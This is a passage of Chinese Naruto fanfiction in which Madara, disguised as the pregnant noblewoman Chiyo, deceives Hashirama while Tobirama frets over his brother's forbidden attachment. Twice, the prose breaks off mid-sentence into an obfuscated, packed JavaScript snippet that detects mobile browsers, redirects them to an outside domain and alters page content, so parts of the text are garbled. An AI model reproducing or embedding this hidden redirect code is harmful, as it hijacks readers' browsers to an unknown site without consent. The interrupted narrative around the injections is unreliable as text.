月之国的若殿様此时忽然开口:“哦,原来千夜吾爱与那位忍界修罗有过这样一段渊源,还是英雄救美,我竟不知——想来倒该感谢那位忍者才是。” 他神色难看,言语含酸,阴阳怪气,竟颇有些醋意。 因为柱间的缘故,这场谈话中宇智波斑本就心乱如麻,见状更是觉得陷入情爱中的男人实在是不可理喻至极,但仍不得不耐下心,扮做千夜温言软语地安抚这位拈酸吃醋的贵族殿下。 “殿下勿怪,那时妾身本只是想暂报那位忍者大人的救命之恩,绝无其他绮念。只是忧心那位大人为何迟迟未来取寄放之物,许久后才得到消息……” 她没有具体说那消息是什么,但柱间却一下子揪紧了心脏:宇智波斑在终结谷一战中死去,自然再也无法去取存放于她那里的物品。 千夜顿了顿,继续地说下去。 “既然那位大人如今已不在人世,妾身亦得遇良人,嫁作人妇,自然也不再好替他保管遗物……” 月之国的若殿様闻言终于微笑,热恋中嫉妒心极强的男人故作大度道:“吾爱所言甚是,非我之不宽容,实在是其他男人的东西不便存于我夫人手中,请问那位宇智波阁下可有遗孀,爱人?还是将此物还与他所爱之人的手中去罢!” 火影脸上没有什么表情。 良久,他轻轻开口:“那么,请夫人将斑所寄放之物交与我吧。” * 风清月朗的夜晚,千手柱间留下木分身,避开周围人的耳目独自离开病房——这件事他做得驾轻就熟,大家也都完全没想到病重中的火影竟然还能有如此精力作成此事,因此全然没有防备,被柱间无声无息地溜了出去。 认为火影病重便兀自放松警惕的那些人实在是小瞧了这位忍者之神。 他走得悄无声息,就连身为感知忍者的亲兄弟扉间也没有察觉异样。 柱间来到一处点着幽微烛火的屋敷前,障子门半开着,可以在微弱的光亮中看见里面的垂下珠帘的几帐台中头戴市女笠的女人正端坐于此,显然是在等待着他。 市女笠上的虫垂掩住了女人的面容,幽微的烛火映照着她身上靡艳堆叠的重色目华裳,一时间和室内珠光闪烁,宝色辉煌。 在隐约着的珠帘与辉光之下,虽然看不清女人的面容,可你无端地生出一种笃定的感觉,认为有着那样通身气派与忧郁气质的定是位绝世姿容的美人。 柱间停在缘侧,没有走进和室,只是定定地看着那位美人:“我来了。” 不必多言,两人都明白这场见面的真正含义。 两天之前,斑煞费苦心地支使手下侍女将那封信件送到火影忠心的直系下属手中之时便已设计好了这次的见面,但真正到了只有他与柱间两人相见的场合时,他仍然一时不知从何开口。 要谨慎。 斑极力克制着胸腔内躁动不安着的炽烈情感,告诫着自己:柱间并非能轻易糊弄的对象,决不能放纵自己感情用事,坏了计划。 寂静之中,还是柱间先提起话题:“夫人白日所言之事,我想恐怕并非事实?” 果然。 珠帘与虫垂之下,那被掩藏着的面容微微一笑:柱间的敏锐一如既往。 但斑明知故问,千夜的声音从珠帘内传出:“火影阁下何出此言?” “斑并非是会将自己的东西寄托于陌生女人的性格,”柱间温润地回复,“哪怕是为了应付您的恩情报答——他做好事也并不希冀着回报,又不擅长交际,所以虽有善意,但往往不怎么会和所救之人深入交谈,更遑论寄存自身物品。” 的确如此。 斑轻声叹息,遇到这种情况他一般救完人自己就走了,根本不会与人过多纠缠。 但斑并不为自己之前的谎言被拆穿而慌乱,因为他实质上准备着一个更大的谎言。 “没错,”美人的声音轻柔而忧伤,“妾身与斑大人的确有着极深的渊源——只是白日里不便在丈夫面前提及,还望见谅。” 柱间沉默地立在原地,幽微的烛火在他脸上投下跃动的阴影。 他听出了女人所暗示的事情:千夜曾是他挚友宇智波斑的秘密情人。 唯有如此,方可解释为何她手中有着斑留下的许多物件,也必须得避开那位吃醋的丈夫耳目。 一把生锈了的钝刀插进柱间的心脏,缓缓转动。 他动了动嘴唇,似乎想要说些什么,但那钝钝的疼痛堵住了他的喉咙。 怪不得他一直以来都在千夜夫人身上感受到了一股强烈的既视感:原来是斑的影像留存在这位身为他恋人的千夜夫人身上。 既然如此,他们必定也曾朝夕相处,琴瑟和鸣,就像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柱间的心忽然急促地跳动,几乎站立不稳—— 里面是那人最后留与这世界的血脉。 一个孩子——斑的孩子! 他在刹那之间明白了千夜的用意:作为无权无势空有美貌的乡野女人,千夜无法在没有丈夫的帮助下抚养大这个孩子,所以她成为了那位若殿様的情人——然而这个事实一旦被发现了,千夜与这孩子的下场也可想而知。 是我害得斑的恋人与孩子落入此等绝望境地。 千手柱间心如刀绞。 “要摸一摸孩子吗?”珠帘下的美人低声道。 宇智波斑也不明白自己究竟是出于何种心态说出了这话,但这也许是柱间作为孩子的生父唯一能碰到孩子的机会了——他到底是感情用事了。 但感情用事的不止是斑。 柱间被这话语诱惑着穿过推开障子门,走入和室,隔着珠帘将手轻轻覆盖到那隆起的小腹上。 孩子忽然用力地在母亲肚腹中踢了一脚。 两人俱是心魂一震。 那不过是婴儿无意间的一次活动,隔着母亲的肚皮也根本没什么力道可言,但在忍者之神心头引起的剧烈的动荡不啻于一场地震,仿佛他整个人都在那有着斑血脉婴儿的一脚里彻底粉碎。 在这场天塌地陷的毁灭之中,同样有什么东西在柱间体内的废墟之中重新蔓延滋长,变作某种坚执顽固的决心。 隔着市女笠的虫垂,斑惊讶地看见了烛光里柱间眼睛闪烁着的泪光。 “我一定会保护你与孩子的安全。” 忍者之神眼睛里流着泪,发自内心地许下沉重珍贵的誓言。 13.第十三章 千手柱间的病情肉眼可见的得到了好转——所有见过这位初代目火影的人都这样明显感觉到。 并非背离事实的虚伪恭维,也不是万众期待导致的集体幻觉,柱间的病情的确得到了真正有效的疗愈,盎然的生机重新在这位忍者之神的身上振奋出惊人的生命力。 于是众人欣喜,只有扉间在一旁看得暗自惊心: 终结谷一战之后,柱间因为他的天启宇智波斑死亡而生气消散、灵魂撕裂的症状的确有所回转,一切恰如那位游医所形容的那样—— “也许,当他找到了新的人生意义,或者爱上了新的人,患者这种虚无的情感空洞就会弥合,不药而愈。” 这当然是很好的,然而这为柱间虚无的情感空洞注入勃勃生机、唤醒他对于人世强烈留恋的——究竟是什么呢? 木叶当然也算其中之一,扉间毫不怀疑如果不是木叶的情况时刻牵绊着兄长的心,兴许他早已撒手人寰、追随那人的脚步而去。 然而责任毕竟只是责任,木叶维系着柱间的性命,使他为之日夜忧心、殚精竭虑,即便重病之中亦是心心念念,牵肠挂肚——它足够身为初代目火影的千手柱间如一具行尸走肉般维持生命体征——但也到此为止了。 那么真正使千手柱间焕发出对于生的强烈渴求的——是新的理想目标重新赋予了他人生的意义,还是被古往今来被千万人歌颂、众口同声赞美为世上最伟大的奇迹——爱情? 扉间看见健康起来的柱间脸上重新有了期盼与希冀之色,那神情中蕴藏着某种仿佛与世界为敌、矢志不渝的决心。 千手扉间为之心焦如焚。 这并不是因为他居心险恶,不愿意看见自己的兄长好起来,而是——他从火影室的窗户向外望去,眉宇间笼罩着深重的阴影。 白发的千手暗红色的眼眸遥遥地看着自己的兄长脚步轻快地离开火影大楼,走在那条扉间为之心沉的熟悉道路上。 不必再看下去,他也知道兄长此行的终点——千夜夫人,那个与魔鬼极其相像的女人所在之处。 作为柱间的兄弟,也是他政治上的臂膀,扉间清楚柱间最近的行踪,以及他最近所做之事: 公事上,柱间在频繁地拜访着那位月之国的若殿様,与其相谈甚欢,甚至谈下了不少两国合作事宜,表面上看似乎他只是勤勤恳恳地在履行火影的职责,但——月之国这样的撮尔小邦,真的值得这位最强大忍村的首领再三拜访、重视至此吗? 尤其是月之国与木叶相距甚远,地理位置也不甚重要,就连合作也不过是些商业上无关紧要的合约——这些木叶自有专业人士接洽,并不需要火影亲自出面。 是以甭管柱间的借口多么冠冕堂皇,扉间都一字不信,他知道柱间忽然这样的热心于月之国实际上是别有用心。 私底下,柱间在研究新的忍术。有时也会询问扉间一些晦涩艰难的原理难题,但不肯完全告诉扉间他在研究什么,扉间一问就说他就打哈哈说是自己只是随便捣鼓着玩而已,不用那么严肃。 扉间可不知道自家兄长竟有这样研究着忍术随便玩玩的乐趣,他曾经将记载着飞雷神算式的卷轴给柱间看过——柱间一看就嚷嚷着头疼,称那上面的复杂公式枯燥得让他昏昏欲睡。 但柱间问他的那些问题,其艰深晦涩程度不下于飞雷神——怎么,这时候他又不昏昏欲睡,倒是十分精神抖擞、甚至引为乐趣了? 扉间信他个鬼,只能从他问的那些问题中隐隐推算出柱间是在研究可以分离储存忍术、极具保护性的忍术——甚至具有一定的时空间的传送功能。 与此同时,柱间也重新捡起了他的医疗忍术——不,这样说并不准确,柱间作为以善战出名的医疗忍者,他在治疗外伤上的医疗忍术早已登峰造极,所以称不上是捡起曾经的医疗忍术,他现在完全是在重新学习新的医术——孕产一类。 这其中的指向性明显得简直令扉间如鲠在喉,如芒在刺,如坐针毡。 他哥好端端一当世无双的外科圣手忽然转向孕产科——这是在干什么?! 扉间简直想把大哥脑子里进的水给倒出来——千夜夫人怀孕管你什么事?她肚子里是你的孩子吗你就接手?!! 他严重怀疑就算柱间以后有了自己的孩子也不一定能够这样的重视上心。 兄长太在意那个千夜夫人了——扉间为此忧心忡忡,尤其是他注意到柱间看向千夜夫人的眼神。 那是木叶为那位若殿様举行的欢迎宴会上。 即使是扉间出于对肖似那人的千夜夫人有着极深的偏见,也不得不承认坐在月之国若殿様身旁的千夜夫人的确是位引人瞩目、赏心悦目的美人儿。 自然,美人的容貌仪态光芒四射,如聚光灯般吸引着众人的目光,席上不乏有人单纯的出于对那美色的渴慕而时不时偷偷瞥上几眼。 但柱间不一样,扉间注意过,宴席上他没有望向千夜,一次也没有——哪怕千夜就在那位与柱间说着话的若殿様身旁。 宴会笙歌鼎沸,觥筹交错,纵情欢乐——柱间静静的微笑着,一杯一杯地喝着人们递上来的庆贺之酒。 扉间那时候本是很担心他看见那肖似宇智波斑的千夜夫人会极其失态,但见他竟如此正常,甚至懂得避嫌,便天真地松了一口气,放松了警惕。 直到宴会结束,扉间发现柱间不见身影,起身寻找。 感知忍者的敏锐让扉间很快找到了他们:柱间正和千夜夫人隔着帘幕谈话。 其实是很正常的场景,很正常的交谈,身边也有侍者围绕,没什么见不得人的。 两人都没直接看着对方,口中谈着一些看似正常、实则荒谬不堪的话题: 柱间竟然在和千夜夫人谈她腹中的孩子,还装模作样地提出医疗忍者的意见,扉间当即就觉得如遭雷劈——他哥的确举世无双的医疗忍者,但讲道理,术有专攻,他又不是妇产科的! 很快,千夜夫人与柱间道谢,在侍女的围绕下逶迤离去。 见千夜离开,柱间终于看向她。整场宴会下来他都不曾看她一眼,私下谈话中两人也不曾对视,直到她转身而去,柱间才真正地抬眼凝望着她离开的背影。 许久, 许久。 那是怎样的目光啊! 痛苦、哀恸、缅怀、眷恋、怅惘、执著…… 扉间竟形容不出。 但柱间确实在遇上千夜后一日日地康复起来了,他整个人焕发着生的光彩,有了坚定的目标并为之而不懈努力——于是扉间也不得不在暗地里为这两人遮掩着。 不过无论柱间怎么殷勤挽留,终有一天月之国的若殿様是要带着他的夫人千夜离开的——那时候又该如何呢? 千手扉间觉得不能再这样放任兄长深深沉溺于如此无望的背德之爱中。 一来,千夜已经嫁做人妇,腹中还正怀着她丈夫的孩子,兄长决不能去做这个道德败坏、破坏他人家庭的第三者;二来,扉间认为,柱间对于千夜夫人的狂热迷恋始终脱不开那位忍界修罗的影响——所以扉间一开始便不愿意这两人相见。 宇智波斑。 这个肉身已经消亡的恶徒鬼魅附丽在千夜夫人的美丽皮囊上,于是她一颦一笑都带着那人的影子,诱惑着他的兄长为之心碎如狂。 然而这一切迟早要结束的,扉间心想。 于是在兄弟两人用餐之时,扉间斟酌着开口:“兄长,关于千夜夫人——” 柱间动作一顿,低低地念了一遍这个名字:“千夜?” “关于她,你有什么好说的吗?”扉间干巴巴地说,言语中充满暗示,“你尽可以对我说实话,你知道我不会乱说。” 言下之意是他要帮着柱间将这桩背德之爱的首尾处理干净。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286292|149935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柱间只是垂下眼眸,喃喃道。 “关于她……我只希望她与孩子平安幸福。” 似乎是意识到了自己语气听上去颇为苦涩,柱间顿了顿,换了一副温柔开朗的口吻:“千夜是个很好的人,所以我希望她能够得到幸福,她的孩子也能够健康、平安、快乐地长大。” 见状,扉间眉心狂跳,简直想怒吼他哥千夜肚子和她丈夫的孩子关你这个第三者屁事——但理智拉回了他。 白发的千手深深地吐息,准备耐心地讲道理:“我知道千夜是位很有魅力的美人——” 他极力地撇开这背德之爱里面有关宇智波斑的元素,只将此含糊地归结于美人的魅力:“无论是谁,爱上她确实情有可原。但这是不正确的——千夜是有丈夫的。”他强调。 然而柱间的神色却在他开口的那句话中全然改变了:“是的,千夜很有魅力,爱上她是理所当然的,无论是谁……” 扉间愕然地看着他,第一次在兄长身上发现了如此晦暗的嫉妒之色。 千手柱间,他的兄长是有着胸襟宽阔的首领,且心地仁慈,天性慷慨,他的爱趋向于大他者对于万物众生广博平等之爱,也就是说他的爱可以惠泽到他的族人,子民,甚至敌人——在这一部分上,他的爱是光明磊落、几近于无私的。 但人总归是人,在神性的光明之爱背后,忍者之神同样有着只属于他自己个人的爱。 在这一点上,他极度悭吝,近乎自私——那是自年少时萌发的爱意,笼罩于家族的阴影之中,隐匿于伟大的友情之下,于是他穷尽毕生赞美之词,称他为天启,视他为半身。 半身——意味着他与他在一起才是完整的,其他人则完全是多余的。 事实也一向如此,提起千手柱间就会说起宇智波斑,谈及宇智波斑也必定逃不开千手柱间。 然而千夜打破了这个完整。 在柱间不知晓的部分,斑与她相爱着。 扉间提起千夜是有位魅力的美人,柱间也不得不承认这一点——因为千夜对于他来说也是有吸引力的,但愈是承认这一点,他便愈是痛苦。 斑是出于千夜的魅力而爱着她,与她孕育子嗣,而柱间在此之前竟全然不知——千夜夫人愈是对柱间富有吸引力,便愈是提醒着柱间她从前又是如何吸引着他的斑,将斑从他的身边夺去。 在斑离开木叶的那段时间里,他思念着斑的时候——斑那时是陪伴在千夜身边的。 于是广博的光明之爱下,千手柱间属于人性的一面阴影浮动。 阴影之中,忍者之神第一次品尝到了嫉妒的滋味。 柱间克制着这种无由来的嫉妒——说到底,他有什么理由要嫉妒挚友的恋人呢? 然而他根本控制不住,他仍旧嫉妒这位得到了斑爱情的幸运儿,同时又在内心深知这是毫无道理的——于是在浓厚的愧疚心之下,柱间对千夜以及她腹中属于她与斑的孩子愈发地迁就,好得出奇。 千夜身上那股由斑留下的影像气质既深深地吸引他,又同样深深地折磨着他,时刻提醒柱间她曾是斑所爱之人——面对着这样的矛盾,柱间既不能不见千夜夫人,也不能忍受在千夜身边呆得太久。 彼时扉间尚还年轻,不明白那光明之下的阴影究竟是什么,他以为那嫉妒是指向千夜的丈夫,月之国的若殿様,于是在一种不理智的愤怒中脱口而出。 “兄长,你为什么总是要爱上不该爱的人?” 扉间这句话的重点其实是柱间为什么要一而再地爱上世俗所不能容许之人——一个是同样身为男子的斑,一个是已经嫁做他人妇的千夜。 但柱间没将重心放在那个“不该爱”上,只是疑惑地重复:“总是?” 他倏地望向扉间,目光锐利。 “除了千夜,难道我还爱上过什么不该爱的人吗?” 对此,扉间闭口不言。 14.第十四章 扉间虽然没有对此进行回答,但那沉默本身亦是一种答覆。 空气里凝固着昭然若揭、心知肚明的沉重安静,那个属于黄泉下的亡者、满含危险的名字在这沉默里呼之欲出,那人的鬼魅于是在这沉默里发出冷冷嘲笑。 扉间在这样的氛围里感到强烈的窒息。 他喉结微动,嘴唇嗫嚅,终于发出声音刺破这被那个危险名字所包围着的寂静。 “总之,我们还是来谈谈千夜夫人——” 他生硬地将话题转回最初,试图借助着生者的力量将属于亡者的痕迹抹去。 但扉间并不知道,柱间心中千夜夫人亦属于那亡者的一种延续——他在猛然意识到自己心中真正的、背德的不伦之爱后,扉间此时口中所提到的千夜名字同时残忍地提醒着他: 斑的所爱另有他人。 毫不知情的扉间只是继续地说下去,丝毫没有意识到柱间平静的面色下波涛汹涌的内心情感。 “千夜身为若殿様的夫人,她迟早会跟随着自己的丈夫离开,回到月之国,到时候你们……” 柱间搛了一筷子菜,食不知味地咀嚼,吞咽,开口是平平淡淡的语气。 “哦,这个啊,我建议过千夜留在木叶的,”他若无其事地又搛了一筷子菜,继续淡然地在接下来的内容中投下炸弹,“至于月之国的若殿様那边——其实很多种处理方法,我可以帮助她解决掉。” 他的口吻虽然平淡镇静,但扉间清楚那语气绝不是在开玩笑:“兄长,你知道你在说什么吗?!你疯了——” “我知道我在做什么,放轻松,扉间,”柱间语气里带着安抚,“虽然这事乍一听听上去是稍微耸人听闻了些,但仔细想想,可操作性其实很高:稍微费时费力一点的,就是等千夜回去后待一段时间,借着生产的缘故帮助她假死脱身,然后在木叶为她重新伪造身份。至于更简单粗暴又及时有效的方法……” 他微微笑了:“扉间,你也知道的。” 扉间震骇地看着他,蓦地领悟到了柱间言语中的未尽之意: 月之国的那位若殿様身边的那些武士和守护忍虽然在本国称得上顶尖,但对于真正立于巅峰的当世忍者之神来说根本连蝼蚁都算不上——他甚至可以处理得相当漂亮,使人完全看不出是木叶的手笔。 是的,光是在心里随便想想,千手扉间自己就可以制定好几种计划,让他们在归去的途中随便出点什么意外——这一向是忍者做惯了的事情,甚至可以熟练地将这件事栽赃在敌对势力手中。 但那是以往被雇佣的情景了,眼下兄长竟然要为一个酷似宇智波斑的女人做到如此地步,实在是被那女人迷了心,昏了头! 然而否认的话涌到嘴边,又被千手扉间咽了回去。 千夜夫人的身份说背德是真背德,毕竟她是有丈夫的人/妻,但其实解决好了也不算什么——虽然酷似宇智波斑但好歹不是真正的宇智波斑,只是一个普通的貌美女人——况且她的存在还激起了兄长对于生命的眷恋,如果完全使这两人断开关系,说不定兄长的病情又会走向极端恶化。 然而这样一来涡潮村之前为兄长定下的婚约就变得棘手了,漩涡毕竟是木叶的盟友,千手的远亲——要想个更稳妥的方法处理才是。 等等…… 扉间忽然意识到,自己已经在顺着千夜会留下来与兄长成亲这一方向上思考了。 “如果你真打算这样做的话,”白发的千手烦恼地啧声,面容严肃,语气谨慎,“请提前告知我,方便我处理后续一系列的麻烦事情。” 柱间放下筷子,安静地看了他一会儿,垂下了眸子。 “连扉间你也赞同么……所以说,千夜真的是一个很好的人。” 扉间不耐烦地看着柱间: 他已经在考虑到兄长的健康情况下做出了这样的妥协,柱间应该直截了当地和他商量对策,而不是在这里和他吹那个跟宇智波斑一样祸水的女人有多好,好在哪儿,说到底,能让他兄长做出如此昏聩举动的女人能好在哪儿—— “千夜拒绝了我让她留下来的提议,她说要跟着自己的丈夫回到月之国去,让我不必挂念她。” 柱间轻轻地说。 扉间内心对于那女人的吐槽戛然而止,过了一会才挤出一句干巴巴的赞美。 “那她……确实是个好人。” 至少比宇智波斑那种肆意妄为的家伙有道德良知得多。 虽然,扉间看着自己兄长那晦暗阴郁的表情也不知道她的道德对柱间来说究竟是好是坏。 * 柱间其实没有扉间想得那么伤心,或者说,并不是扉间以为的那种伤心。 他想到了千夜拒绝他提议的那个夜晚。 因为在那样一种情况下骤然得知了斑存于世上最后的骨肉这一事情,柱间当时处于一种堪称极端的心潮澎湃之中,椎心泣血,泪如雨下。 剖肝沥胆地说,他是完全愿意为了这个尚未出世的挚友之子付出一切、甚至是他自己的性命的。 所以他当即自然是想将千夜从那位若殿様的身边带走——毕竟千夜腹中是宇智波斑的血脉。 别看那位月之国的若殿様看上去是如此地深爱着千夜,知心知意又浪漫温柔,简直可以说是完美的情人。 但与此同时,这位若殿様可并不是什么大度的丈夫,柱间清楚地知道这种自尊心极高的贵族是容忍不得他们那“高贵”血脉有所混淆的。 要是事情暴露,千夜与孩子多半会被暴怒的他处理得尸骨无存。 于是柱间提出可以帮助千夜安全地“摆脱”掉那位若殿様。 但那带着市女笠的美人隔着虫垂看着他。 “是吗?摆脱了他——然后呢?” 他不假思索地回答道:“我可以为你和孩子伪造出新身份在木叶生活!” 千夜静静地给他泼了冷水:“那我带着叛忍宇智波斑的孩子生活在木叶里——就完全安全了吗?” 从千夜口中听到已故挚友的名字——冠以叛忍之名,柱间心中一刺,在那痛楚之中他声音变得很低,但仍然清楚、坚定:“我不会让你们出事,绝对——我以性命起誓。” “火影阁下,我并不是质疑您的决心和能力,”虫垂之下的美人面目模糊不清,但柱间直觉她此时的目光一定如剑刃般锋利,“我当然相信以火影之能,我与孩子能够得到清白安全的身份,您也完全可以保证我们衣食无虞——这对于您来说很简单,但是——” 那剑刃般的锋利目光穿透虫垂,直直望向柱间的眼睛,像是一场无情的拷问。 “木叶,真的适合孩子成长吗?火影阁下固然可以保护我们——在您有生之年里,恕我直言,您的生命还有多久呢?” “我会活下去。”柱间直面千夜那不近人情、冷酷的拷问,烛台的火焰在他黑色的眼眸里熊熊燃烧,“我会保护你们,一直。” “问题不在于您能活多久——当然,火影阁下您能活得越久越好,”虫垂之下,美人似乎微微地笑了,“而是木叶并不适合孩子的成长,斑也曾对我说过,木叶是个失败品,您不能否认吧?” 不待柱间组织语言驳斥,她疾速地说下去。 “当我来到木叶时,曾经遇见过一个日向家的小女孩——因为她擅自开启白眼,惹恼了我的丈夫,她的家族便决定献上她的性命来平息我丈夫的怒火——您当然可以说,那是日向一族自作主张,如果您在场绝不容许这样的事情发生,我也相信您一定会平息这件事,就像我最后平息了这件事一样。” 这位柔弱的美人冷酷地执起刽子手的匕首,用她那轻柔的言语一点点凌迟着柱间。 “因为说到底,这不过是我丈夫一次偶然的怒火罢了。但就为了他这点大动干戈的小小怒火,一个孩子的生命就如此轻易地被她的家族献上——这难道不荒谬吗?” “而木叶说到底,也并不能直接干涉各家族的作为,就假设您当时在场:日向一族心甘情愿地献上这个孩子,我丈夫也接受这种平息怒火的手段,您作为火影要直接干涉日向族长这一堪称懂事的选择恐怕也很困难吧?” “就算最后您花了极大代价成功阻止了这一惨剧,但您有没有考虑过这个分家的女孩——作为事件的导火索,尽管她是无辜的,但毕竟招惹了麻烦,又惹得家族在火影眼中有了坏印象,她在日向一族以后的生活会如何呢?” 空气安静,柱间想要反驳,但悲哀地发现她所说一字不假。 “当然,这只是偶然的事件。而且即使我带着孩子加入了木叶也不会是日向一族,好,看上去很安全,”虫垂下,她似乎冷冷地笑了,“等孩子生下来,有了写轮眼,还被宇智波发现了——您也知道,这一族顽固而守旧,决不允许血继外流的。” “那么孩子的身世必然遭受质问,他们一定会追根究底地调查孩子的父亲是族中的何许人也——恐怕那时候人人都会知道我的孩子是带着九尾袭村的叛忍的遗孤。” 千夜的声音宛如魔鬼低语,萦绕在柱间耳边。 “即使您出面保住了孩子,又怎么让我的孩子从此在众口铄金的毁谤指责里健康快乐地长大呢?更何况,作为孩子父母一辈的我们迟早会死去,到时候,您知道的,木叶又会找什么理由审判、处死这个孩子?哪怕继承了您遗志要保护孩子的学生或下属,他们的实力和威望没有您那样强大,恐怕也未必能斗得过木叶内部其他势力的反对吧?” 她刻薄道:“当然,您可以说木叶不会出现这类事情——至少您活着的时候不容许,所以那时候我与孩子就只能暗自祈祷您活得足够长久,不然您死了,我们也只好陪您一起去死。” 柱间痛苦地闭上眼,他已然发现了千夜有着和他的挚友斑一样对事情走向惊人的敏锐。 更令他痛苦的是,他清楚地知道千夜所提到的种种情况,并非捕风捉影,是完全有可能发生的。 但千夜并没有就此放过他,没有,她的冷酷一如她的恋人、柱间的挚友宇智波斑。 “当然以上是最恶劣的猜测,也有其他选项:孩子长大了,也没有暴露身世——最乐观的猜测也不过如此,但是战争到来了,不巧的是,这孩子和自己父亲一样有着做忍者的天赋,木叶要送这孩子到前线去吗?” 柱间承诺:“我不会让孩子去往战争前线。木叶成立的初心……” “木叶成立的初心,就是保护所爱之人不受战争困扰,让天真的孩童能够得到庇护,不再早早饱尝战争之苦。” 柱间几乎维持不下去自己的表情:“原来,斑都告诉过你了。” 千夜摩挲着自己隆起的肚腹:“是的。所以我假设了这么一种情况:这孩子的天赋出众,如自己的父亲一样可以轻易左右前方战线的输赢,只要木叶派出我的孩子就可以赢得战局的胜利,哪怕ta还年幼,有一定几率在战争中死亡——但木叶只需要派出ta,就可以减少许多其他忍者的伤亡,您告诉我最终的答案,是选择村子里大多数的平庸忍者去死,还是只有这一个叛忍的年幼遗孤去死呢?” 不需要柱间的答复,她意味深长道。 “村子和所爱重的个人,您不是已经做出过选择了吗?” 柱间呼吸一滞,以为千夜是在说死于他手中的宇智波斑,下意识地道歉。 “对不起。” “不,不用道歉。我并不是责怪你杀死了斑,那是你们之间以死相搏的战斗,我无从置喙——就是斑本人也不会怪您的。”千夜冷静地说,“只是木叶确实是一条失败的道路,它成立 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柱间不得不痛苦的承认这的确是有缘由的:千夜是那样的富有吸引力,她与斑一样,是纯粹的理想主义者。 就连他自己也都被千夜身上那股理想主义的气质所吸引——这一事实宛如啮心,一点一点地撕咬着他本人。 良久,他低低道:“但是在贵族身边,你有着这样危险的秘密,也不会安全。” “至少孩子不必像现在的忍者一样频繁涉足战争,频繁经历身边人生离死别,或者像手无寸铁的平民,饱受战争与饥饿的困扰而毫无反抗之力。”千夜回答,“只要身份不暴露,作为月之国的贵族后裔,孩子会比在木叶要幸福平安得多。” 柱间抬起眼,在极大的身心痛苦之中,忍者之神体内反倒涌现一股异常平静的强大力量。 “所以夫人的意思是现在的木叶并不能让你感到安心,并非是理想的适合孩子成长的环境,对吧?” 千夜看上去似乎有些讶异:“是的。” “如今的木叶有颇多的不足之处,正如夫人所指出的那样:木叶与其内部家族的微妙关系,木叶内部各方势力的博弈……哪怕是身为火影的我也时常感到心有余而力不足。” 柱间坦率地承认,那双诚恳而坚定的黑眼睛定定地看向千夜。 “既然如此,那我仍然会行走在我和斑最初的理想道路上,为了真正的和平而不断努力,直至木叶、乃至忍界都得到真正的和平。” 斑隔着虫垂,恍然间再次看到了那个在南贺川哭泣的少年柱间的身影,听见那尚且稚嫩的忍者之神发誓要熄灭世间的仇恨与战火。 “我会做到的,让人们坦诚以对,消除家族、村子、国家之间的隔阂,延续真正的和平,为之战斗到我死去——夫人,如果木叶那时候真正的变作了我与斑最初理想的模样,到那时请你再考虑——” “带着你与斑的孩子,回到木叶,回到我身边。” 忍者之神恳求道。 斑看着这样的柱间,一股说不出来的、几近狂喜的战斗欲在他身上奔涌,使得他几乎忍不住要震颤起来: 对,就是这样! 柱间,在通往真正的理想道路上继续与我战斗吧! 他喜爱这样的柱间,一如他喜爱战斗。 唯有柱间能让他如此尽兴。 “啊,我会的。”斑近乎愉悦地回答,用千夜的声音温柔缱绻地许诺道,“那时候我会回到你身边的,柱间。” * 那夜的情形仍旧时刻萦绕在柱间的脑海中。 千夜的身影在其中熠熠生辉,他永远也忘不了她那时的姿态与语气——斑爱上她简直太理所当然了,就连柱间也不能不承认他也被千夜所吸引着。 尽管在如今他明白了自己对于宇智波斑抱有何等不道德的欲望之后,他仍然承认:千夜与斑是相配的。 于是他与扉间谁都没挑破那昭然若揭的事实:他爱宇智波斑。 因为斑并不爱他,他所爱的是千夜。 柱间怀着苦涩的悲哀想到。 他回忆着与千夜相处的每一个细节,确认自己毫无遗漏。 在那些细节里,他越来越从中发觉千夜的优点,也愈来愈能想象她与志同道合的斑是何等相爱,于是她的每一个动作都是对他的一种凌迟,每一个他们心意相通的证据对他而言都形同噬骨,千夜言语中那毫不留情的残忍亦是一种魅力—— 嫉妒,尤其是情爱方面的嫉妒,本身就是一种不道德。 柱间一向是个克制的人,他绝不容许自己将这种嫉妒表现出来,尽管他内心正饱受嫉妒的鞭笞,忍耐着凌虐般的锥心之痛。 他向扉间夸赞千夜,说她温柔而富有远见,说她决断而不乏善良,他知道扉间以为他喜欢千夜,他也确实喜欢千夜,这一点他大可以表现出来,虽然这也是背德的。 柱间对千夜的喜爱与嫉妒同存,但那嫉妒却只是独属于他自己隐秘的痛苦——他知道这不正确,比背德还要不正确,所以他决不能容忍自己表现出对千夜的嫉妒。 扉间并不知道柱间真正的心理活动,他只看出了柱间对那名为千夜的女人情根深种。 这让他感到了棘手。 也许,他应该挑个时间去拜访一下千夜夫人。 扉间想,努力克服着自己对她身上那股宇智波斑气质的厌恶。 千夜毕竟不是真正的宇智波斑,扉间告诉自己。 就冲她拒绝了自己亲哥这一行为就知道这女人比宇智波斑那种暴戾恣睢的家伙有道德多了。 一个有道德版的宇智波斑——总体来说,应该是比较容易沟通的吧? 千手扉间心怀侥幸地说服自己,定下了明天去拜访千夜的行程。 15.第十五章 扉间出门的时候柱间还在厨房里捣鼓着什么东西——近来柱间的爱好愈发广泛,大到忍术发明、忍具研究、妇产医术,小到手工雕刻、编织、厨艺、音乐……总之可以称得上精力充沛、活力满满,与之前失魂落魄、形槁心灰的模样大相径庭。 难道说,爱情——即所谓的多巴胺、荷尔蒙、血清素、叶加压素、内啡肽、肾上腺素……这些激素与神经递质的相互作用真有如此奇迹般的效用? 扉间不知道,他只觉得这些在于兄长与那位夫人之间发生的背德之爱是需要极力掩饰的隐秘,如果处理不好,对火影的个人形象、木叶的外交往来、大众舆论上都会产生不小的负面影响。 